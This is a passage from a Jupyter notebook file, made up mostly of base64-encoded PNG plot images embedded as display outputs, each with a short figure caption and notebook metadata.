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\n", "text/plain": [ "<Figure size 432x288 with 2 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" }, { "data": { "image/png": "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